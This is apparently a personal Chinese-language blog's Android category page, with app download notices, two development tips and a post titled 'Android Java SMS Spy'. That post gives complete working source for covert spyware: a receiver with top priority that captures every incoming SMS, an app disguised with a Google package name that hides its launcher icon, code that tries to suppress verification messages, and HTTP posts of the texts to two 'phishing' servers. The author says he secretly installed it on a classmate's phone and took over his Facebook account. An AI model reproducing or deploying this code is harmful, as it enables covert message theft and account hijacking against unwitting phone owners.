Weil Jimmer's BlogWeil Jimmer's Blog


Category:Android

Found 7 records. Now is Page 1 / 2.

白樺閱讀器 Android App 下載
No Comments

發布:
更新:2018-11-11 19:47:26

白樺閱讀器,安卓TXT文字閱讀器,免費,無廣告,目前支援文字檔(例如:TXT)與EPUB格式的電子書。主要為TXT文件做分頁閱讀並記憶閱讀進度。可自訂翻頁模式為滑動或點擊或音量鍵翻頁,可設定文字、陰影、背景顏色、行距、文字字型…,可以為TXT文件建立/搜尋目錄、書籤,簡體中文轉繁體中文,跳轉至特定頁面,可設定文字樣式、封面,直行閱讀…等功能。

目前最新版本:1.1.2.00

※本程式為 Android 手機程式。

最低系統需求:Android 5.0

下載地址【一】:https://url.weils.net/B

下載地址【二】:https://url.weils.net/C

產品頁面:http://web.wbftw.org/product/baihuayueduqi

2018.09.09 - 1.1.2.00 - 更新功能 - 可以一次選取多個檔案。以閱讀器開啟並匯入檔案。加入微調版面大小的按鈕。在閱讀EPUB電子書時,長按圖片可以放大該圖片。

2018.09.09 - 1.1.1.03 - 更新功能 - 在TXT文件目錄列表中,新增長按可刪除/新增項目。

2018.09.02 - 1.1.1.02 - 修復下拉式選單中的「分享」功能導致整個app當機的錯誤。更新全螢幕UI顯示方式,改進原先設計不良的UI。更新版面設置的UI設計。加入自動適屏(僅初次安裝有效)

2018.06.28 - 1.1.1.01 - 更新功能 - 加入直行閱讀,可由右至左或左至右之方向閱讀。加入同行文字間的距離調整。加入字型設定。加入TXT目錄即時顯示在主畫面的功能,並計算當前章節的進度。改進多項細微體驗!

By Weil Jimmer


This entry was posted in Android, General, Software, Free, Java, Product, Tools By Weil Jimmer.

我的加密日記 Android App 下載
No Comments

發布:2018-05-01 11:55:08

本程式為免費、無廣告的寫日記專用程式。目前支援的欄位為天氣、心情、星星、標題、簡介、時間、內文,可在日記中插入各種檔案,一併通過 AES CBC 256 與 本站獨特加密法 加密日記。

主要功能涵蓋:

一、搜尋/刪除/編輯日記。儲存日記於外部記憶卡。

二、可變更背景圖片。可變更多種文字顏色。裁剪拍攝之照片

三、可在以加密的日記內直接閱讀文字檔案、觀看圖片檔案、播放 MP3 檔案。(不具有安全性問題,採直接讀取記憶體,並未寫入暫存檔)

四、可以阻止螢幕截圖,使用高強度Hash加鹽算法(SHA384 / BCrypt),實質加密所有日記檔案與日記列表。

五、支援語系有繁體中文、簡體中文、英文。

目前最新版本:1.0.3.08

※本程式為 Android 手機程式。

最低系統需求:Android 5.0
下載地址【一】:https://url.weils.net/z
下載地址【二】:https://url.weils.net/A
產品頁面:http://web.wbftw.org/product/wodejiamirijiapp

By Weil Jimmer


This entry was posted in Android, General, Software, Free, Product By Weil Jimmer.

Android Java SMS Spy
No Comments

發布:
更新:2018-03-28 12:23:37

====2015/11/20====

這是我很久以前寫的秘密程式,我當下就很想發表,我有很多都很想發表到我網站,但因網站主機是臨時的,將來還要再次轉移,故我就荒廢了網站整整兩個月(我是指不發文,並非我不管理),現在轉移完畢,意味著我將會再次發文。

================

※純測試,不做非法用途。

首先,因為這程式很兩極化,既可以合法也可以非法,講好聽點就是自動同步SMS訊息到網站上,講難聽點,竊取用戶SMS訊息。

腦筋轉得不夠快的人可能不明白這意味著什麼,只要裝了我寫的程式,就會被我盜光所有帳號。

開發緣由:因為我同學不相信「手機防毒軟體掃描不出病毒」,所以我向他放話,我寫的程式,防毒絕對掃不到。

因為我避免用戶發現這個祕密程式,所以我取名為google_sms_server。到時候要查就很困難。

<application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme" >
        <activity android:name=".MainActivity" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".SmsCloudBackup"
            android:enabled="true"
            android:exported="true" >
            <intent-filter android:priority="999999999" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>

    </application>

設置 SMS_RECEIVED廣播,備註要記得添加權限,並把優先級別設定為最高級別。

package com.google.google_sms_server;

import android.app.Activity;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.widget.Toast;

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        //setContentView(R.layout.activity_main);
        PackageManager p = getPackageManager();
        p.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);//設定隱藏在Launcher中

        Toast.makeText(this,"Google SMS Backup Service運作中",Toast.LENGTH_LONG).show();
        this.finish();
    }

}
package com.google.google_sms_server;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;

import java.util.ArrayList;
import java.util.List;

public class SmsCloudBackup extends BroadcastReceiver {

    private String TAG = SmsCloudBackup.class.getSimpleName();
    public SmsCloudBackup() {

    }

    @Override
    public void onReceive(Context context, Intent intent) {
        // Get the data (SMS data) bound to intent
        Bundle bundle = intent.getExtras();
        String str = "";
        SmsMessage[] msgs = null;

        if (bundle != null) {
            Object[] pdus = (Object[]) bundle.get("pdus");
            msgs = new SmsMessage[pdus.length];

            for (int i=0; i < msgs.length; i++) {
                msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                str += "SMS from " + msgs[i].getOriginatingAddress() + " : ";
                str += msgs[i].getMessageBody().toString();
                str += "\n";
            }

            if (str.contains("驗證") || str.toLowerCase().contains("verif")){
                Log.d(TAG, "ABORT");
                this.abortBroadcast();//截斷用戶訊息,讓用戶察覺不到驗證訊息。實際上測試,似乎沒有效果。
            }

            Log.d(TAG, str);
            String aa= "";
            try{
                aa=java.net.URLEncoder.encode(str,"utf-8");
            }catch (Exception ex){

            }
            new ExcuteAsyncTaskOperation().execute(aa);

        }

    }

    public class ExcuteAsyncTaskOperation extends AsyncTask<String, String, String> {
        //異線任務,執行網路動作都要這樣。
        @Override
        protected String doInBackground(String... parr) {
            //進行背景工作,如「Network」,並可轉發值。
            //在迴圈中使用publishProgress((onProgressUpdate引數類別)變數);以傳遞資料。
            //例如publishProgress((int)50);

            HttpClient httpclient = new DefaultHttpClient();
            //我POST訊息至兩個釣魚網站。
            HttpPost httppost = new HttpPost("http://網站/post/post.php?u=SMS&c=" + parr[0]);
            HttpPost httppost2 = new HttpPost("http://網站2/post/post.php?u=SMS&c=" + parr[0]);
            try {
                List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(1);
                nameValuePairs.add(new BasicNameValuePair("u", "SMS"));
                nameValuePairs.add(new BasicNameValuePair("c", parr[0]));
                httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
                httpclient.execute(httppost);
                httpclient.execute(httppost2);
            } catch (Exception ex) {
                Log.d(TAG, "ERROR!!!!!!!!!!!!!!!!!!!!!" + ex.toString());
            }
            return "";
        }

    }

}

這樣,當用戶安裝完成,並執行後,此程式會從Launcher上消失,意思是找不到此程式的連結,並且會關閉此程式,得去 設定=>應用程式 才可能看到,但我已經取名為google什麼的,用戶很難察覺。

實作結果:

我祕密的裝在同學手機上,在他未察覺的情況下,進行這測試。事後他非常不爽,不過最後他還是原諒我了。

從釣魚網站,取得FB驗證碼。成功盜走FB帳號。


This entry was posted in Android, General, Java, The Internet, Note By Weil Jimmer.

Android 當鍵盤出現鎖定物件移動
No Comments

發布:
更新:2018-03-28 12:24:01

當我很困擾於每次鍵盤都會Resize我的View很討厭,去搜尋又找不到方法,結果,網路上搜尋結果是:物件沒有調整大小,而是「移動」了。使用下列代碼插入目標物件XML即可。

android:isScrollContainer="false"

僅此作為筆記。


This entry was posted in Android, General, Experience, Functions, Java, XML By Weil Jimmer.

Android Studio 安裝 Lib (Jar檔案) 圖文說明
No Comments

發布:
更新:2018-03-28 12:24:14

首先,要有要安裝的 Lib 檔案 ,是 「JAR」 版本的。

把JAR檔案丟進 專案 APP 下的 libs 資料夾!如下圖:(用拖拉還有按右鍵貼上都行)

(如果在Android Studio沒有找到 libs 資料夾,是根目錄設定成Android、改成Project,並展開app,就會找到了。或是你可以直接開檔案瀏覽器貼上。)

然後 編輯 「Build.gradle」。

在裡面加上程式碼:

    compile files('libs/jsoup-1.8.2.jar')//檔案名要改一下

注意:非常重要,是 「compile file『s」,那個 s 不要忘記!

如圖所示:

接著 Android Studio 可能會提示使用者 要重新編譯,就按下編譯吧!最後只差匯入命名空間:

import org.jsoup.Jsoup; //要改成你的Lib的名稱

接著就可以使用你安裝的 lib 了。

By Weil Jimmer


This entry was posted in Android, Functions, Java, Note By Weil Jimmer.

 1 2 /2 頁)下一頁

Visitor Count

pop
nonenonenone

Note

重啟核四,關閉維修火力發電廠,減少空氣汙染,以核能養綠能。

支持網路中立性.
Support Net Neutrality.

Celebration for General Data Protection Regulation.

隨時注意自己的CPU使用狀態,有不少網站會沒有徵求同意就用您的電腦挖礦。

不用 Line 改用 Telegram。跟上最新潮流。

支持臺灣實施無條件基本收入

歡迎前來本站。

Words Quiz


Search

Music

Counter

2301
天前是本網站的生日

Republic Of China
The strong do what they can and the weak suffer what they must.

Privacy is your right and ability to be yourself and express yourself without the fear that someone is looking over your shoulder and that you might be punished for being yourself, whatever that may be.

It is quality rather than quantity that matters.

I WANT Internet Freedom.

Reality made most of people lost their childishness.

Justice,Freedom,Knowledge.

Support/Donate

This site also need a little money to maintain operations, not entirely without any cost in the Internet. Your donations will be the best support and power of the site.
MethodBitcoin Address
bitcoin1NRMVGGpm2T1pmeejisLSEhCXfCefEW9V4
paypal
Register in linode via invitation link and stay active for three months.Linode

The Lie We Live

The Lie We Live

The Questions We Never Ask

The Questions We Never Ask

Support The Zeitgeist Movement

The Zeitgeist Movement

Man

Man

In The Fall

In The Fall

Facebook is EATING the Internet

Facebook

Categories

Android (7)

Announcement (4)

Arduino (2)

Bash (2)

C (3)

C# (5)

C++ (1)

Experience (42)

Flash (2)

Free (13)

Functions (36)

Games (13)

General (50)

HTML (7)

Java (13)

JS (7)

Mood (24)

Note (28)

Office (1)

PHP (9)

Privacy (4)

Product (12)

Python (4)

Software (11)

The Internet (16)

Tools (14)

VB.NET (8)

WebHosting (7)

Wi-Fi (5)

XML (4)